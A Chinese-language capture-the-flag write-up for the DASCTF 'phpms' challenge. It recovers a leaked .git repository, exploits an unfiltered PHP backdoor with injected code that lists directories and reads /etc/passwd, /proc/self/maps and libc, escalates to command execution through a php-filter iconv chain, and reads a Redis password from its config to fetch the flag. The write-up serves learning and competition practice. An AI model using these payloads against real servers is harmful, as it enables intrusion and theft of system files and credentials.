DASCTF-phpms

直接进去 啥也没有空白页面

image-20250704192157755

扫描目录发现.git泄露,githacker恢复

image-20250704193623210

拿到四个文件,还原.git的操作

| git log --oneline | 查看简洁的提交历史 |
| git show <commit> | 查看某次提交的具体改动 |
| git stash list | 查看所有暂存的工作记录 |
| git stash show -p | 查看最近一次暂存的具体代码变化 |
| git stash show <stash@{0}> -p | 查看指定暂存的具体代码变化 |

image-20250704194855691

拿到最近依次index.php的代码修改,直接就是一个后门脚本,尝试后发现不能直接利用
但是这里没有对输入做过滤,所以我们可以直接截断,构造一个新的php:

?><? ... ?>

多次尝试后拿到这几个payload:

?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}?>
#扫描目录

;?><?php $file=new SplFileObject('/etc/passwd'); while(!$file->eof()){echo $file->fgets();}//
#读取文件内容(低权限)

?><?php echo new SplFileObject('php://filter/convert.base64-encode/resource=/etc/passwd'); ?>
#读取文件内容(base64)

当时比赛的时候也就做到这一步,后面也发现了有跑redis 服务,但是一直不知道怎么RCE
之后其实应该是kezibei/php-filter-iconv 打 filterchain rce,找到 maps 文件和 libc-2.31.so

/proc/self/maps
/lib/x86_64-linux-gnu/libc.so.6
#这里要注意的是不能直接读取文件复制黏贴会出错,要curl+base64下载下来解码
# ?><?php $context = new SplFileObject('php://filter/convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so');foreach($context as $f){{echo($f);}}
# ?><?php $context = new SplFileObject('php://filter/convert.base64-encode/resource=/proc/self/maps');foreach($context as $f){{echo($f);}}

image-20250704200706059

然后运行之前github项目里面的py文件构造payload

image-20250704200901333

cmd 改为要执行的命令,正常结果如下

image-20250704201927067由于不出网+无法提权,所以只能把输出文件的内容写入到/tmp文件下,查看进程文件

ps -ef

image-20250704201159622

去查看redis的配置文件

cat /etc/redis.conf

image-20250704201537608

拿到密码admin123,构造redis命令查询

redis-cli -a admin123 KEYS "*" 

image-20250704201634685

redis-cli -a admin123 GET "flag"

image-20250704201641740

之后给的一把梭exp也能验证:

image-20250704202554439

posted @ 2025-07-04 20:31  麟原  阅读(37)  评论(0)    收藏  举报